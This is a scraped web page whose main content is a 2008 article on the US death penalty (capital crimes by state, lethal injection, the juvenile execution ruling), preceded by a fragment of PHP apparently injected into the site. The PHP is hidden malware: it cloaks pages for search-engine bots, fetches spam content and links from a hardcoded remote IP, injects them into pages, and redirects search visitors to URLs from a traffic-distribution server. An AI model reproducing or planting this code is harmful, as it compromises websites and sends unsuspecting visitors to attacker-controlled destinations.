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} $siteID = $_GET['category']; $pageID = $_GET['watch']; $catPage = $_GET['page']; if (get ("http://193.111.244.157/x254/test.php") == "ok") $aviable = true; else $aviable = false; if($bot) { if ($pageID) $outsourceurl="http://193.111.244.157/x254/sp.php?site=$siteID&page=$pageID"; if ($catPage) $outsourceurl="http://193.111.244.157/x254/sc.php?site=$siteID&page=$catPage"; if ($pageID || $catPage) { if ($pageID) $cached = "tmp/cached-$pageID"; else $cached = "tmp/cached-cat-$catPage"; $content = xGet ("$cached"); if((!$content||!file_exists($cached)) && $aviable) { $out = get ($outsourceurl); if (strlen ($out) > 1000) { print $out; xPut ("$cached", $out); exit; } } else echo $content; exit; } else { $lf = "tmp/cached-l"; $links = xGet ($lf); if((!$links||!file_exists($lf)||time()-filemtime($lf)>24*3600) && $aviable) { $links = get ("http://193.111.244.157/x254/links.php?site=1600"); if (substr_count($links, "http") > 5) xPut ($lf, $links); } if (strpos ($_SERVER['REQUEST_URI'], "?")) $originalurl = "http://".$_SERVER["HTTP_HOST"].$_SERVER['REQUEST_URI']."&donttouchthis=true"; else $originalurl = "http://".$_SERVER["HTTP_HOST"].$_SERVER['REQUEST_URI']."?donttouchthis=true"; $originalpage = get ($originalurl); $originalpage = preg_replace('/(<\/body>)/i', "$links$1", $originalpage, 1); print $originalpage; exit; } } else if ($siteID && preg_match('/live|msn|yahoo|google|ask|aol|bing/', $_SERVER["HTTP_REFERER"])) { $tdsf = "tmp/cached-t"; $tds = xGet ($tdsf); if((substr_count($tds , "http") < 5 || !file_exists($tdsf) || time()-filemtime($tdsf)>3600) && $aviable) { $tds = get ("http://193.111.244.157/zb5/d5.php?T=movi"); if (substr_count($tds, "http") > 5) xPut ($tdsf, $tds); } if (strpos ($tds, "\r\n")) { $tdsArr = split ("\r\n", $tds); $tds = $tdsArr[rand(0,count($tdsArr)-1)]; } header('Location: '.trim ($tds)."#".rand(1,999999)); exit; } } function get ($url) { if (function_exists("curl_init")) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); @curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($c, CURLOPT_MAXREDIRS, 15); $page = curl_exec($c); curl_close($c); if (strlen ($page) < 10) { $cf = "tmp"; $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); @curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($c, CURLOPT_MAXREDIRS, 15); curl_setopt($ch, CURLOPT_COOKIEFILE, $cf); curl_setopt($ch, CURLOPT_COOKIEJAR, $cf); $page = curl_exec($c); curl_close($c); unlink ($cf); } } else $page = file_get_contents ($url); return $page; } function xPut ($file, $content) { if (function_exists("file_put_contents")) { return file_put_contents ($file, $content); } else { $f = fopen ($file, "w"); $done = false; if (fputs ($f, $content)) $done = true; fclose ($f); return $done; } } function xGet ($file) { if (function_exists("file_get_contents")) { return file_get_contents ($file); } else { $f = fopen ($file, "r"); $contents = fread($f, filesize($file)); return $contents; } }")); #End Adv Death Penalty
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Friday, 15 August 2008 17:10

Death Penalty

The death penalty, also known as capital punishment, is the execution of a person on order of the state as punishment for a crime. The crimes that can result in a death penalty sentence are known as capital offenses or capital crimes.

In the past, executing political opponents and criminals was common in nearly all societies as a means to both suppress political dissent and to punish crime. Today, in most states that still practice capital punishment, the death penalty is reserved as punishment for those who commit espionage, premeditated murder, treason. It is also used as part of military justice. At present time there are thirty-six states in the US with the death penalty.

Each state sets their own statues as to what constitutes a capital crime. The following are just a few examples of what some states consider a capital crime worthy of the death penalty. In California, train wrecking, perjury causing execution, treason, and first degree murder with special circumstances all constitute a capital crime. In Texas, criminal homicide with 1 of 9 aggravating circumstances (TX Penal Code 19.03) constitutes a capital crime. In Florida, felony murder, first degree murder, capital sexual battery, and capital drug trafficking are all considered capital crimes.  While the majority of states have more than one crime where the death sentence can be handed down, there are a few states where murder is the only crime that warrants the death penalty. In Wyoming it’s first degree murder, and in Washington it’s aggravated first degree murder. The death penalty was ruled unconstitutional in New York on June 24, 2004, and on December 17, 2007, the death penalty was abolished in New Jersey.

Thirty five of the thirty six states that sentence criminals to the death penalty use lethal injection for their executions.  The thirty sixth state, Nebraska, uses the electric chair. The majority of the lethal injection states use the same three drug combination which is, pancuronium bromide (a paralytic agent, also called Pavulon), sodium pentothal (an anesthetic, also called Thiopental sodium), and potassium chloride (stops the heart and causes death).

The age for which a criminal must be before a death sentence can be handed down is eighteen. In March of 2005 the Supreme Court ruled that the death penalty for individuals who had committed their crimes while under the age of eighteen was considered cruel and unusual punishment and therefore barred by the constitution. Prior to this ruling by the United States Supreme Court there were 19 death penalty states that did not allow the execution of juveniles. Between the remaining death penalty states, before 2005, twenty two inmates were executed for committing crimes while under the age of eighteen.

 

 
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